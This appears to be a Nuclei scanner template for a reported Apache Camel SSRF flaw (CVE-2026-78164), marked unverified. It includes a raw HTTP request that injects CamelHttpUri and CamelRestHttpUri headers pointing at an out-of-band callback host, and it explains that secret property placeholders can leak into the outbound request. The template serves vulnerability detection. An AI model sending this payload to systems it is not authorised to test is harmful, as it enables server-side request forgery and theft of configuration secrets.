id: CVE-2026-78164

info:
  name: "Apache Camel - HTTP Producer URI Override SSRF"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Apache Camel (camel-http, camel-http-common, camel-vertx-http, camel-undertow and camel-netty-http
    producers) lets an inbound message override the outbound producer endpoint URI through the
    CamelHttpUri / CamelRestHttpUri headers, then passes that attacker-controlled string through
    CamelContext.resolvePropertyPlaceholders() before use. A remote client can therefore force a vulnerable
    HTTP producer route to issue an outbound request to an attacker-controlled host (and resolve
    configuration / secret property placeholders into it). This affects Apache Camel 4.0.0 before 4.18.5
    and 4.19.0 before 4.22.1.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-78164&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=apache_camel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-78164
    cwe-id: CWE-200
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,apache_camel,ssrf,oast

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        CamelHttpUri: http://{{interactsh-url}}/collect
        CamelRestHttpUri: http://{{interactsh-url}}/collect

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or